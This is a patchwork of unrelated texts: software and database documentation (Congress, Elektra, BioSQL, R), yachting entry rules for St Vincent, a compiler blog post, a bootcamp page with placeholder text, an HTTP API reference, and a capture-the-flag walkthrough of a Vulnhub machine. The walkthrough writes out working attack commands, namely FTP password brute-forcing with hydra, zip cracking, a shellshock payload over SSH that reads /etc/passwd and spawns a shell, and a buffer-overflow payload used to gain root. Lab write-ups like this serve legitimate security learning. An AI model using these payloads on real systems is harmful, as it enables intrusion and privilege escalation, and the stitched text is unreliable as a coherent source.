4.3 Unit Tests¶
Run unit tests in the Congress directory
$ tox -epy27
In order to break into the debugger from a unit test we need to insert a break point to the code:
import pdb; pdb.set_trace()
Then run tox
with the debug environment as one of the following:
tox -e debug
tox -e debug test_file_name.TestClass.test_name
For more information see the oslotest documentation.
4.4 Upgrade¶
Here are the instructions for upgrading to a new release of the Congress server.
- Stop the Congress server.
- Update the Congress git repo
$ cd /path/to/congress
$ git fetch origin
3. Checkout the release you are interested in, say Mitaka. Note that this step will not succeed if you have any uncommitted changes in the repo.
$ git checkout origin/stable/mitaka
If you have changes committed locally that are not merged into the public repository, you now need to cherry-pick those changes onto the new branch.
- Install dependencies
$ sudo pip install
- Install source code
$ sudo python setup.py install
- Migrate the database schema
$ sudo congress-db-manage --config-file /etc/congress/congress.conf upgrade head
- (optional) Check if the configuration options you are currently using are
still supported and whether there are any new configuration options you
would like to use. To see the current list of configuration options,
use the following command, which will create a sample configuration file
in
etc/congress.conf.sample
for you to examine.
$ tox -egenconfig
- Restart Congress, e.g.
$ sudo /usr/local/bin/congress-server --debug


|
Elektra
0.8.20
|
A standard way of describing REST APIs offered by tools and plugins for Elektra is required to ease development for and usage of these. Because many good standards for describing APIs are out there already, an existing one shall be used.
The decision is to use API blueprints together with additional tools from its ecosystem.
API Blueprints together with some (free) tools for it support all given constraints and also all soft-constraints. It also fits the current documentation style of the Elektra project the most.
Additionally to modeling data apart from the API, API Blueprints also supports schemata modeling, which is more precise than giving examples for requests and responses.
There are many tools available to use with API Blueprints, for example the CLI tool of apiary. Other tools can be found on the official website of the standard.
Decision discussions have taken place in #917. An API proposal for cluster configurations was made in #912, whereas initial discussion started in #829.


Visiting yachts arriving in St Vincent territorial waters must proceed to a port of entry to clear in before stopping in any other port or anchorage.
Fly the 'Q' flag and dock or anchor in the port of entry. Only the captain should go ashore. Three crew lists, clearance from previous port, passports and ship's papers will be needed. Clearance must also be done with the port authorities, Customs and Immigration.
A cruising permit is issued for one month and is renewable.
It is necessary to clear out at one of the official ports. For southbound boats, formalities are simplest at Clifton on Union Island where you can clear Customs in the port, but Immigration is based at the airport, which is very close.
Yachts are given 24 hours after check-out from which they must depart St. Vincent waters.
Last updated March 2016.
All persons require a valid passport.
Visitor permits are granted on arrival to most nationals.
Citizens of the European Union are now permitted a stay of 90 days in any 180 day period. Other nationalities are generally granted a 30 day stay.
Citizens from Caricom countries are normally permitted to stay for up to 6 months, providing they have funds to cover their stay.
Visas in advance of arrival are required by nationals of the following countries:_ Dominican Republic, Jordan, Syria, Lebanon, China, Iraq, Iran and Nigeria.
Last updated March 2016.
Firearms must be declared on arrival, and can be sealed on board, but if a yacht has no suitable locker, the firearms will be held in the custody of Customs or police until departure.
Spear fishing equipment is not allowed.
A yacht may stay up to one year, subject to immigration requirements, provided Customs is satisfied that it is a genuine visiting yacht.
Medication must be in the original container with name, dare and issuing pharmacy.
Last updated March 2016.
A cruising permit for one month will be granted by customs or Port Department on clearing in, if they are satisfied that the voyage is for cruising purposes only. This is renewable.
These fees are applicable to all the Ports of Entry in St. Vincent and the Grenadines, whether you check in on the mainland or in one of the Islands.
Children under the age of 12, and Vincention nationals are exempt from paying taxes.
Immigration: 35 EC$ per person (for one month). One additional month permitted, with payment.
Customs: Overtime fees for Customs are payable outside of working hours and on Sundays and holidays.
Charter Yachts:
Fees are payable by yachts that are chartering, and are not locally based, as follows: For bareboat charters, up to 30 feet, a monthly licence of EC$100, for 31-50 feet, EC$125 per month, and for bareboats over 51 feet, EC$140 per month.
For crewed charter yachts (not locally based), the licence fee is EC$5 per foot per month, or EC$30 per foot per year.
Locally based charter yachts pay approximately half these licence fees.
Note: It is an offence to permit anyone on board your boat prior to clearing in with Customs.
Last updated June 2014.
No swimsuits to be worn in towns or any business place in town or in the streets.
Fishing: The use of spearguns or quantity fishing is not allowed unless written approval is given by the Fisheries Department. A request for this permit may be made to Customs on arrival.
Trolling and handlining a few fish for one's own consumption is allowed. There is a closed season for lobsters from 1 May to 31 August, and for turtles from 1 March to 31 July.
There are several areas where all fishing is forbidden.
The removal of coral is forbidden.
It is illegal to wear or import camouflage clothing in St Vincent & the Grenadines.
For full details on the Tobago Cays Marine Park (TCMP) see their website http://www.tobagocays.org/, which includes rules and regulations, a zone map, and lots of useful information to make your stay here more enjoyable.
WARNING:
Poision is regularly used on the islands where sheep and goats are roaming free. Read this report so you can take due care of your pets when visiting SVG.
Procedure for Pets
There are strict rules on pets entering St. Vincent and the Grenadines.
No pets from


Hi, I'm a software developer and 4th year Engineering Physics student at UBC. My major is best described as computer engineering combined with honours physics.
Fluent in C++, C# and Java, check out the my projects in the portfolio below or by following my blog. When I'm not working on my latest coding project you can find me playing badminton or piano.


I found a good post on how to build your own toy compiler using Flex, Bison and LLVM. I saw one disadvantage right in the beginning: you had to use C++. If I were just prototyping a compiler, I wouldn’t use C++ but rather a dynamic language. And last semester for the Compilers course that’s what I did.
Students were assigned to build a Pascal compiler (actually a subset, but not that small) and the tools suggested were Lex, Yacc (using the C language) and compiling the code into C. I took a different approach and decided to do the project in Python (I actually tried ruby first, but the ruby-lex and ruby-yacc projects didn’t pass my basic tests).
I wrote the language grammar using PLY (the lex and yacc DSLs for python) and it was pretty simple. As for the AST generation, I had only a class Node that accepted an type and a list of arguments while my colleagues using C had to make 1001 structs for each kind of node. Not that it wasn’t impossible using C, but dynamic languages make the code simpler and more clear.
For the code generation, I decided to go with LLVM. It is a very promising project. Just take a look at google’s unladen-swallow or macruby, even parrot is planing on using llvm for their JIT.
For writing the code in Python, I had to use the llvm-py which I may say it’s in a early stages and lacks documentation. That was my major problem using. I had only three resources: the official guide, a presentation in japanese with some source code, and the actual source of the project (in C and C++).
Since every time I got an error in the llvm code generation it crashed the program, I had to dig into the source code of the project and find that error message and reverse engineer what was wrong with my code (usually I was giving values or pointers instead of references and vice-versa). So if you are doing something more complex, you actually need some C++ reading skills.
The project however worked, and I’m making it available so anyone may use the code as an example until better resources are published.
Showing 9 comments
Add New Comment
You are commenting as a Guest. Optional: Login below.
Reactions


FAERUN Tutorial
Contents
Loading Data
- Select a database.
- Select a (molecular) fingerprint.
- Select a variant. Each variant is the product of a PCA dimensionality reduction from original fingerprint space to 3D. After projection, the data was digitized into two different resolutions: low (250 x 250 x 250) and high (500 x 500 x 500).
- After this step, the positional data is loaded (all data points have the same colour.
- It's strongly suggested that you now also select a map, colour coding the loaded data. The colour gradient (dark blue to magenta) always equals low to high.
- You can now select data points by double clicking them.
Filtering Data
- Data filtering allows to explore the inside of the point cloud.
- Data can be filtered by using Depth Cutoff. Setting a minimum depth from the camera, thus slicing the point cloud.
- Data can alos be filtered by Color.
Details (1)
- A data point (or bin) can be selected by double clicking it. Once selected, it appears in the selected bins list in the HUD.
- A selected item has three functions. Clicking the 'x' button removes the bin from the selected list. Clicking the button below the 'x' button centers the view on this bin. Clicking the item anywhere else, opens the detail view in a new browser tab.
- The details view loads the content of a bin, or if the bin has less than 10 compounds, the content of the bin and the 26 surrounding bins.
- Data points representing compounds are connected by the minimum spanning tree.
- Data points contained within the selected bin are strongly saturated (colourful) while those selected from surrounding bins have muted colours.
Details (2)
- Compounds within a bin (or cluster of bins) can also be explored by displaying them as a list.
- The button "Download As CSV" downloads a CSV containing the displayed data.
Loading (Projecting) a Custom Set of Molecules
- A custom set of molecules can be projected to the currently loaded space by clicking "Project" in the main menu.
- Choose a color for the projected data points.
- Choose a name for the set.
- Enter (or paste) a set of SMILES strings in the textarea, separated by new lines and click "PROJECT".
- The (currently selected) fingerprint is computed for the entered molecules.
- The PCA model (matrices) associated with each fingerprint is (are) stored and applied to the calculated fingerprints.
- The projected points are probably hidden by the original data. Since the two filter sliders are always associated with the main data layer (SureChEMBL), they can be used to bring the newly projected data within view.
KNN Search
- Once a custom projection is loaded, make sure it is selected in the LAYERS list and all filters are off.
- In the main menu, click "KNN SEARCH".
- Choose a number of nearest neighbours (k) to serach for (for each projected compound).
- This step might take up to a couple of minutes, depending on the amount of projected compounds, the parameter k and the speed of your computer.
- Once the KNN search has finished, select SureChEMBL again in order to be able to select data points from this set (or layer).


BioSQL
From Biopython
BioSQL is a joint effort between the OBF projects (BioPerl, BioJava etc) to support a shared database schema for storing sequence data. In theory, you could load a GenBank file into the database with BioPerl, then using Biopython extract this from the database as a record object with featues - and get more or less the same thing as if you had loaded the GenBank file directly as a SeqRecord using SeqIO.
We have some existing documentation (HTML, PDF) for the Biopython interfaces to BioSQL, covering installing Python database adaptors and basic usage of BioSQL. This is a little old, and I am hoping to use this wiki page to update the above documentation in future.
The following text applies to Biopython 1.45 or later (and won't work with Biopython 1.44).
Contents |
Installation
This is fairly complicated - partly because there are so many options. For example, you can use a range of different SQL database packages (we'll focus on MySQL), you can have the database on your own computer (the assumption here) or on a separate server, and of course there are usernames and passwords associated with database. And finally the details will also vary depending on your operating system.
This text is based in part on the BioSQL schema INSTALL instructions, which also covers alternatives to MySQL.
Installing Required Software
You will need to install some database software plus the associated python library so that Biopython can "talk" to the database. In this example we'll talk about the most common choice, MySQL. How you do this will also depend on your operating system, for example on a Debian or Ubuntu Linux machine try this:
sudo apt-get install mysql-common mysql-server python-mysqldb
It will also be important to have perl (to run some of the setup scripts). Again, on a Debian or Ubuntu Linux machine try this:
sudo apt-get install perl
You may find perl is already installed.
For Windows users, see BioSQL/Windows.
Downloading the BioSQL Schema & Scripts
Once the software is installed, your next task is to setup a database and import the BioSQL schema (i.e. setup the relevant tables within the database). See BioSQL downloads -- you'll need to unzip the archive.
Alternatively to get the very latest BioSQL, check out their SVN repository. Or, navigate to the relevant schema file for your database and download just that, e.g. biosqldb-mysql.sql for MySQL. You will also want the NCBI Taxonomy loading perl script, load_ncbi_taxonomy.pl.
Creating the empty database
MySQL
The following command line should create a new database on your own computer called bioseqdb, belonging to the root user account:
mysqladmin -u root create bioseqdb
We can then tell MySQL to load the BioSQL scheme we downloaded above. Change to the scripts subdirectory from the unzipped BioSQL download, then:
mysql -u root bioseqdb < biosqldb-mysql.sql
You can have a quick play using the mysql command line tool, for example:
mysql --user=root bioseqdb -e "show tables"
giving:
+----------------------------+ | Tables_in_bioseqdb | +----------------------------+ | biodatabase | | bioentry | | bioentry_dbxref | | bioentry_path | | bioentry_qualifier_value | | bioentry_reference | | bioentry_relationship | | biosequence | | comment | | dbxref | | dbxref_qualifier_value | | location | | location_qualifier_value | | ontology | | reference | | seqfeature | | seqfeature_dbxref | | seqfeature_path | | seqfeature_qualifier_value | | seqfeature_relationship | | taxon | | taxon_name | | term | | term_dbxref | | term_path | | term_relationship | | term_relationship_term | | term_synonym | +----------------------------+
Or, to look inside a table:
mysql --user=root bioseqdb -e "select * from bioentry;"
This should return no rows as the table is empty.
PostgreSQL
First you need to set up user permissions, if you are not sure how to do this, try:
su - postgres createuser <your user name>
Then, assuming you are logged-in as <your user name> and Postgres is running on the local machine, you should be able to do the following:
createdb biosqldb psql bioseqdb < biosqldb-pg.sql
Run psql and type enter \d <ENTER> to see all the entities created.
NCBI Taxonomy
The BioSQL package includes a perl script under scripts/load_ncbi_taxonomy.pl to download and update the taxonomy tables. The script should be able to download the files it needs from the NCBI taxonomy FTP site automatically.
Prior to Biopython 1.49, if you wanted to work with the NCBI taxonomy database it was good idea to pre-load the NCBI taxonomy before you start trying to load sequences into the database. This isn't so important with Biopython 1.49 onwards, where you can instead opt to have the information needed downloaded as needed from Entrez.
To update the NCBI taxonomy, change to the scripts subdirectory from the unzipped BioSQL download, then:
./load_ncbi_taxonomy.pl --dbname bioseqdb --driver mysql --dbuser root --download true
For PostgreSQL you need to have the perl DBD-Pg module installed and substitute Pg for mysql in the above command.
There is about 10MB to fetch, so it can take a little while (and doesn't give any feedback while this happens). If you are worried, open a file browser window and check to see it is downloading a file called taxdump.tar.gz to the taxdata subdirectory.
You should see this output at the command prompt - be warned that some of these steps do take a while (especially rebuilding nested set left/right values):
Loading NCBI taxon database in taxdata: ... retrieving all taxon nodes in the database ... reading in taxon nodes from nodes.dmp ... insert / update / delete taxon nodes ... (committing nodes) ... rebuilding nested set left/right values ... reading in taxon names from names.dmp ... deleting old taxon names ... inserting new taxon names ... cleaning up Done.
This might be a good point for a tea break - I didn't time this but it was over ten minutes.
One the initial tables have been populated, re-running the script is much faster. You can run this script again to update the taxonomy tables, which the NCBI do add to regularly. You may want to setup a scheduled job to do this automatically (say once a fortnight).
P.S. It is a particularly good idea to do update the taxonomy if you will be working with the left/right values in the taxon table (see also BioSQL enhancement request 2493). Biopython ignores these optional fields when loading or retrieving sequences - instead using just the parent link. See http://www.oreillynet.com/pub/a/network/2002/11/27/bioconf.html for more about how this alternative tree representation works.
Running the unit tests
Because there are so many ways you could have setup your BioSQL database, you have to tell the unit test a few bits of information by editing the file Tests/setup_BioSQL.py and filling in the following fields:
DBDRIVER = 'MySQLdb' DBTYPE = 'mysql'
and a little lower down,
DBHOST = 'localhost' DBUSER = 'root' DBPASSWD = '' TESTDB = 'biosql_test'
Change these to match your setup. You can then run the BioSQL unit tests as normal, e.g.
python run_tests.py test_BioSQL test_BioSQL_SeqIO
For PostgreSQL, use:
DBDRIVER = 'psycopg' DBTYPE = 'pg'
or:
DBDRIVER = 'psycopg2' DBTYPE = 'pg'
depending on which of the Python bindings you want to install.
Creating a (sub) database
BioSQL lets us define named "sub" databases or "namespaces" within the single SQL database (which we called bioseqdb earlier). For this example, lets create a one for some orchid sequences:
from BioSQL import BioSeqDatabase server = BioSeqDatabase.open_database(driver="MySQLdb", user="root", passwd = "", host = "localhost", db="bioseqdb") db = server.new_database("orchids", description="Just for testing") server.adaptor.commit()
(If you are using PostgreSQL rather than MySQL, just change the driver argument to "psycopg" instead. The same applies to the other examples in this document)
The call server.adaptor.commit() tells the database to save the changes so far (commit the SQL transaction). It is up to you to decide when to commit the SQL transaction(s), and/or rollback changes, rather than having Biopython try and decide for you and risk getting it wrong. See Explicit is better than implicit (The Zen of Python) and bug 2395.
There should now be a single row in the biodatabase table for our new orchid namespace. You can check this at the command line:
MySQL:
mysql --user=root bioseqdb -e "select * from biodatabase;"
PostgreSQL:
psql -c "SELECT * FROM biodatabase;" bioseqdb
Which should give something like this (assuming you haven't done any other testing yet):
+----------------+---------+-----------+------------------+ | biodatabase_id | name | authority | description | +----------------+---------+-----------+------------------+ | 1 | orchids | NULL | Just for testing | +----------------+---------+-----------+------------------+
Now that we have setup an orchids namespace within our biosqldb MySQL database, lets add some sequences to it.
Loading Sequences into a database
When loading sequences into a BioSQL database with Biopython we have to provide annotated SeqRecord objects. This gives us another excuse to use the SeqIO module! A quick recap on reading in sequences as SeqRecords, based on one of the orchid examples in the Biopython Tutorial:
from Bio import Entrez from Bio import SeqIO handle = Entrez.efetch(db="nuccore", id="6273291,6273290,6273289", rettype="genbank") for seq_record in SeqIO.parse(handle, "genbank") : print seq_record.id, seq_record.description[:50] + "..." print "Sequence length %i," % len(seq_record.seq), print "from: %s" % seq_record.annotations['source'] handle.close()
The expected output is below, note we have three records with a total of nine features:
AF191665.1 Opuntia marenae rpl16 gene; chloroplast gene for c... Sequence length 902, 3 features, from: chloroplast Opuntia marenae AF191664.1 Opuntia clavata rpl16 gene; chloroplast gene for c... Sequence length 899, 3 features, from: chloroplast Grusonia clavata AF191663.1 Opuntia bradtiana rpl16 gene; chloroplast gene for... Sequence length 899, 3 features, from: chloroplast Opuntia bradtianaa
Now, instead of printing things on screen, let's add these three records to a new (empty) orchid database:
from Bio import Entrez from Bio import SeqIO from BioSQL import BioSeqDatabase server = BioSeqDatabase.open_database(driver="MySQLdb", user="root", passwd = "", host = "localhost", db="bioseqdb") db = server["orchids"] handle = Entrez.efetch(db="nuccore", id="6273291,6273290,6273289", rettype="genbank") db.load(SeqIO.parse(handle, "genbank")) server.adaptor.commit()
Again, you must explicitly call server.adaptor.commit() to record the SQL transaction which is otherwise left pending.
The db.load() function should have returned the number of records loaded (three in this example), and again have a look in the database and you should see new rows in several tables.
The bioentry and biosequence tables should have three new rows:
mysql --user=root bioseqdb -e "select * from bioentry;" mysql --user=root bioseqdb -e "select * from biosequence;"
The should also be nine new features:
mysql --user=root bioseqdb -e "select * from seqfeature;"
Next, we'll try and load these three records back from the database.
Extracting Sequences from the database
This continues from the previous example, where we loaded three records into an orchids database (namespace):
from BioSQL import BioSeqDatabase server = BioSeqDatabase.open_database(driver="MySQLdb", user="root", passwd = "", host = "localhost", db="bioseqdb") db = server["orchids"] for identifier in ['6273291', '6273290', '6273289'] : seq_record = db.lookup(gi=identifier) print seq_record.id, seq_record.description[:50] + "..." print "Sequence length %i," % len(seq_record.seq)
Giving:
AF191665.1 Opuntia marenae rpl16 gene; chloroplast gene for c... Sequence length 902 AF191664.1 Opuntia clavata rpl16 gene; chloroplast gene for c... Sequence length 899 AF191663.1 Opuntia bradtiana rpl16 gene; chloroplast gene for... Sequence length 899
The objects you get back from BioSQL act like a SeqRecord object with a Seq object as the sequence, but they are not exactly the same. You actually get their BioSQL database equivalent, a DBSeqRecord object with a DBSeq object for the sequence. These will only load the sequence and annotation from the database on demand.
Deleting a (sub) database
As mentioned above, BioSQL lets us define named "sub" databases (aka namespaces) within the single SQL database (which we called bioseqdb). In the previous example, we created a sub-database for some orchid sequences. The following code will delete the orchid database (and all the records in it):
from BioSQL import BioSeqDatabase server = BioSeqDatabase.open_database(driver="MySQLdb", user="root", passwd = "", host = "localhost", db="bioseqdb") server.remove_database("orchids") server.adaptor.commit()
Again, you must explicitly finialise the SQL transaction with server.adaptor.commit() to make this change.
There should now be one less row in the biodatabase table, check this at the command line:
mysql --user=root bioseqdb -e "select * from biodatabase;"
You can also check that the three orchid sequences have gone from the other tables.
How is the data stored
If you need or want to go direct to the data, bypassing the Biopython methods to retrieve records, then it would help to know more about how the underlying tables are used. For this, we refer you to the BioSQL documentation, starting with their Schema Overview and the page on Annotation Mapping.


2.3 Data Import/Export in R
2.3.1 Reading Data from a Text File
The easiest way to import data into R’s statistical system is to do in a tabular format saved in a text/ file.
To import tabular data from a text file, R provides the function \(\mathtt{read.table()}\). \(\mathtt{read.table()}\) is the most convenient function to import tabular data from text files and can be easily used for data files of small or moderate size having data in a rectangular format. The arguments which can be passed to \(\mathtt{read.table()}\) are given below.
function (file, header = FALSE, sep = "", quote = "\"'", dec = ".",
numerals = c("allow.loss", "warn.loss", "no.loss"), row.names,
col.names, as.is = !stringsAsFactors, na.strings = "NA",
colClasses = NA, nrows = -1, skip = 0, check.names = TRUE,
fill = !blank.lines.skip, strip.white = FALSE, blank.lines.skip = TRUE,
comment.char = "#", allowEscapes = FALSE, flush = FALSE,
stringsAsFactors = default.stringsAsFactors(), fileEncoding = "",
encoding = "unknown", text, skipNul = FALSE)
NULL
- Some of the important arguments for the function \(\mathtt{read.table}\) are discussed below, for the rest see the help file using \(\mathtt{help(read.table)}\).
|
Argument
|
Description
|
|
file
|
The name of the tabular (text) file to import along with the full path
|
|
header
|
A logical argument to specify if the names of the variables are available in the first row
|
|
sep
|
Character to specify the seperator type, default “ “ takes any white space as a separator
|
|
quote
|
To specify if the character vectors in the data are in quotes, this shuold specify the type of quotes
|
|
as.is
|
To specify if the character vectors should be converted to factors. The default behaviour is to read characters as characters and not factors
|
|
strip.white
|
A logical value to specify if the extra leading and trailing white spaces have to be removed from the character fiels. This is used when sep !=".
|
|
fill
|
Logical value to specify if the blank fields in a row should be filled.
|
The example below imports a tab delimited text file.
Note the use of “ in the sep argument for tab delimited data . The header argument is also TRUE here as our dataset has variable names in the first row.
Note that in the example below, the working directory for the RStudio session has already been set to the destination file’s directory (data folder). If the working directory is different from the location of the data file then either the working directory should be changed using \(\mathtt{setwd}\) or RStudio’s GUI or full path for the file’s location should be provided with the file name.
Date AAPL MSFT
1 2/01/1998 4.06 16.39
2 5/01/1998 3.97 16.30
3 6/01/1998 4.73 16.39
4 7/01/1998 4.38 16.20
5 8/01/1998 4.55 16.31
6 9/01/1998 4.55 15.88
- This data can be now saved into .Rdata format after importing from a text file using \(\mathtt{save}\) or can be written to another text file using \(\mathtt{write.table}\) as shown below:
# saving data as an object in .Rdata format
save(data_readtable, file = "data/data1.Rdata")
# saving data into another text file
write.table(data_readtable, file = "data/data1.txt")
- Another convenient way to store the data is to store in RDS format.
- These data files can then be loaded using
load
andreadRDS
functions
Date AAPL MSFT
1 2/01/1998 4.06 16.39
2 5/01/1998 3.97 16.30
3 6/01/1998 4.73 16.39
4 7/01/1998 4.38 16.20
5 8/01/1998 4.55 16.31
6 9/01/1998 4.55 15.88
- Rds format can be loaded into a different object
'data.frame': 3936 obs. of 3 variables:
$ Date: chr "2/01/1998" "5/01/1998" ...
$ AAPL: num 4.06 3.97 4.73 4.38 4.55 ...
$ MSFT: num 16.4 16.3 ...
2.3.2 Reading Data from CSV files
- Reading data from a CSV file is made easy by the \(\mathtt{read.csv}\) function. \(\mathtt{read.csv}\) function is an extension of \(\mathtt{read.table}\). It facilitates direct import of data from CSV files. \(\mathtt{read.csv}\) function takes the following arguments
- The following example imports a CSV file with the same data as previously imported from a text file.
# Check the working directory before importing else provide full path
data_readcsv = read.csv("data/demo_data.csv")
head(data_readcsv)
Date AAPL MSFT
1 2/01/1998 4.06 16.39
2 5/01/1998 3.97 16.30
3 6/01/1998 4.73 16.39
4 7/01/1998 4.38 16.20
5 8/01/1998 4.55 16.31
6 9/01/1998 4.55 15.88
- Similar to \(\mathtt{write.table}\) data can also be written to an external csv file using \(\mathtt{write.csv}\). The following example uses an inbuilt data set in R and exports it to a CSV.
- Notice the use of row.names=FALSE to avoid creating one more column in the CSV file with row numbers
Sepal.Length Sepal.Width Petal.Length Petal.Width Species
1 5.1 3.5 1.4 0.2 setosa
2 4.9 3.0 1.4 0.2 setosa
3 4.7 3.2 1.3 0.2 setosa
4 4.6 3.1 1.5 0.2 setosa
5 5.0 3.6 1.4 0.2 setosa
6 5.4 3.9 1.7 0.4 setosa
2.3.3 Reading from Excel Files
- R does provide methods to import data from excel file with the help of external packages. There are methods provided by packages like
readxl
, \(\mathtt{gdata}\), \(\mathtt{XLConnet}\), \(\mathtt{xlsx}\).
2.3.4 Reading from Data Files from other Statistical Systems
When migrating from software like SPSS, Stata, Matlab users might want to use there old datasets generated from these systems in R. This requires methods for importing these datasets into R. There are packages like \(\mathtt{haven}\), \(\mathtt{foreign}\) and \(\mathtt{R.matlab}\) which provide these functionality.
2.3.5 Importing Data using RStudio
To import data click on Import Dataset \(\rightarrow\) From Excel.. \(\rightarrow\) for the file to import.
Remember the file should be in a tabular format, a text file or a csv are the best options. On clicking Import the data will be imported in a Data Frame and will be made visible by RStudio.
This will also generate basic data import command used for importing and viewing the file in the RStudio console as shown in the figure below. Note that the path in the command as shown in the console has been scrambled as it will be different for every computer


Once upon a time, there were five crazy women who decided to learn how to code in just three months. Becoming an “adalaber” was the mutual goal and they were very determined to accomplish it… but after the first few days, they realized that craziness is better when you share it, especially with a group filled with humour and willingness… And that's how the “ada: inherit;” team was born.
If you want to know how the story ends, you'll have to wait until the next edition!

We work hard, after the mandatory panic stop of course.
We learn fast (or at least we think so, you'll have to confirm with Nasiba about this statement).
We are very optimistic, especially about due dates.
We panic a lot.
Apparently, we don't listen well enough (we found out two labour days before the due date of the project that we also had to do the tablet version, not only the mobile one).
It's very hard to take a serious picture of us because we really don't like pictures (that's a general feeling).
Lorem ipsum, dolor sit amet consectetur adipisicing elit. Ipsum, aliquam vitae perspiciatis debitis accusamus voluptas totam, repellat error optio quae voluptatibus sequi nihil, dolor consequuntur rem itaque voluptatem sed quaerat.
Lorem ipsum, dolor sit amet consectetur adipisicing elit. Ipsum, aliquam vitae perspiciatis debitis accusamus voluptas totam, repellat error optio quae voluptatibus sequi nihil, dolor consequuntur rem itaque voluptatem sed quaerat.
Lorem ipsum, dolor sit amet consectetur adipisicing elit. Ipsum, aliquam vitae perspiciatis debitis accusamus voluptas totam, repellat error optio quae voluptatibus sequi nihil, dolor consequuntur rem itaque voluptatem sed quaerat.
Lorem ipsum, dolor sit amet consectetur adipisicing elit. Ipsum, aliquam vitae perspiciatis debitis accusamus voluptas totam, repellat error optio quae voluptatibus sequi nihil, dolor consequuntur rem itaque voluptatem sed quaerat.
Lorem ipsum, dolor sit amet consectetur adipisicing elit. Ipsum, aliquam vitae perspiciatis debitis accusamus voluptas totam, repellat error optio quae voluptatibus sequi nihil, dolor consequuntur rem itaque voluptatem sed quaerat.


Vulnhub Web developer
Difficulty: beginner to intermediate
Link: https://www.vulnhub.com/entry/tr0ll-2,107/
First thing first i wanted to figure out the machine ip so i used netdiscover
=> netdiscover -r <IP_ADDRESS>/24
Then i scanned the open ports using the nmap
=> nmap -sC -sV <IP_ADDRESS> -oN nmap
I started with the ftp port by trying ananoumus in username and password but it
didn't work
So i moved to the webpage
I looked into the source code. There was only a comment with some names
so took a note of them in a file and called it users.txt
and used hydra to see if i can login to ftp using the names i got
=> hydra -L users.txt -P users.txt <IP_ADDRESS> ftp
and i got a hit
I loged in and found only .zip file
So i downloaded it to my machine using the command get to see what is inside
but it was protected with a password
So i moved on started to fuzz the webpage using WFUZZ i got only robots.txt.
Inside robots.txt there was a list of directories i tried the first one and go a page
but not with the secound one
noted all of them in directories.txt and used it with wfuzz to figure out which one is working
=> wfuzz -c -z file,./directories.txt --hc 404 http://<IP_ADDRESS>/FUZZ
so now i have only 4 pages to check
all of them had the same photo
and a comment in the source code
So i downloaded the 4 photos to see if there is any steganography in them.
First i used stegsolve but i didn't find any info in the photo itself
then i used strings and i got something from the one wich was in /dont_bother directory
and when i checked the y0ur_self directory i found an file called answer
inside it there was a base64 decoded list
i downloaded the file and decoded it
=> wget http://<IP_ADDRESS>/y0ur_self/answer.txt
=> cat answer.txt |base64 -d > decoded-answer.txt
So now i have a list of words so i went back to the protected .zip file
and used fcrackzip inorder to crack its password
=> fcrackzip -u -D -p ./decoded-answer.txt lmao.zip
and i got a hit
Inside the zip file there was a ssh private kay file
so i tried to login using the user noob
=> ssh -i id_rsa -l noob <IP_ADDRESS>
but the machine wasn't that easy
I ran the command again with verbose mode on so i found that running commands was
set up for authorized keys for user noob. That's why the connection was closed immediately
so i did some research and found that i can bypass this problem using
shellshock
so i tried to use it to read the /etc/passwd file
=> ssh -i noob -l noob <IP_ADDRESS> '() { :;}; cat /etc/passwd'
and it worked
so i modified it to shell
=> ssh -i noob -l noob <IP_ADDRESS> '() { :;}; /bin/bash'
then i upgraded it
=> python -c 'import pty; pty.spawn("/bin/bash")'
and i am in!
first thing i enumerated the home direcroty but nothing was there
then i went to the / directory and a file called nothing_to_see_here
got my attention
inside it there was another file called choose_wisely which included 3 doors
two of them was designed to distract me and the 3rd one was a file with
buffer overflow vulnerability.
And i found out that after specific amount of time the 3 doors were shuffled
that's why i copied the vulnerabe one to /tmp and worked with it
I wanted to know whether this linux system is 32-bit or 64-bit
inorder to know which shell am i going to use. So i used uname command
=> uname -m
It's 32 bit.
then i ran the file with gdb to test it
=> gdb ./r00t
first i tried to input different amount of A to find out the sequance i need
i started with 200
it worked normally
then i increased it to 300 .. it crashed
now i need a unique pattern so i can i dentify the exact length which caused the crash
so u used msf-pattern_create and specified it's length to 300
=> msf-pattern_create -l 300
then i ran the pattern i got
then inorder to see the content of the register
=> info reg
now i used the eip value with msf-pattern_create to get the exact length
=> msf-pattern_offset -l 300 -q 0x6a413969
to test the result i got i ran it combined with 4 B
it worked!
now i need to get the return address which is the esp of the full shell
i used 24 bit shell from
here
which is about 100 character. that's why i gave it only 20 of NOPS
to give it space of decoiling
=> run `python -c 'print "A" * 268 + "B" * 4 + "\x90" * 20 + "C" * 100 '`
esp => 0xbffffb80
i took it and combined it with the shell in form of little indian tested it file of /tmp directory
it worked!
so i ran it in the original file
and i got root :)


HTTP API Reference
The complete interface is also provided in the form of WADL (Web Application Description Language), a W3C Submission.
SQL Resource Methods
- The HTTP verison is 1.1
- Some methods accept XML (Content-Type: application/xml), JSON (Content-Type: application/json) or URL Encoded Params (Content-Type: application/x-www-form-urlencoded)
- All methods return XML (use Accept: application/xml) or JSON (use Accept: application/json). Alternatively the
_output
query parameter may be used to specify the media type. See Media Types for more discussion.
- A no-cache directive (Cache-Control: no-cache, no-transform) is returned in responses by default. See HTTP Configuration for more detail.
- Normal responses are 200 OK, invalid requests are 4xx and SQL errors are 500 - See HTTP Status Codes for more detail
- Binary objects (a.k.a BLOBs) are represented as Base 64 encoded strings in both XML and JSON.
| Method |
Path |
Request Body |
Description |
Detail |
| GET |
/res/{resName}/{resId} |
|
Returns row matching path parameters |
ResGetPath |
| GET |
/res/{resName}?{name}={value} |
|
Returns rows matching query parameters |
ResGetQuery |
| POST |
/res/{resName} |
URL Enc |
Inserts row |
ResPostUrlEnc |
| POST |
/res/{resName} |
XML or JSON |
Inserts rows |
ResPostXmlOrJson |
| POST |
/res/{resName}/{resId} |
XML or JSON |
Inserts children rows for parent matching path parameters |
ResPostPathXmlOrJson |
| PUT |
/res/{resName} |
XML or JSON |
Updates rows |
ResPutXmlOrJson |
| PUT |
/res/{resName}/{resId} |
URL Enc |
Updates row matching path parameters |
ResPutPathUrlEnc |
| PUT |
/res/{resName}/{resId} |
XML or JSON |
Updates children rows for parent matching path parameters |
ResPutPathXmlOrJson |
| PUT |
/res/{resName}?{name}={value} |
URL Enc |
Updates rows matching query parameters |
ResPutQueryUrlEnc |
| DELETE |
/res/{resName} |
XML or JSON |
Deletes rows |
ResDeleteXmlOrJson |
| DELETE |
/res/{resName}/{resId} |
|
Deletes row matching path parameters |
ResDeletePath |
| DELETE |
/res/{resName}/{resId} |
XML or JSON |
Deletes children rows for parent matching path parameters |
ResDeletePathXmlOrJson |
| DELETE |
/res/{resName}?{name}={value} |
|
Deletes rows matching query parameters |
ResDeleteQuery |
Support Methods
| GET |
/res |
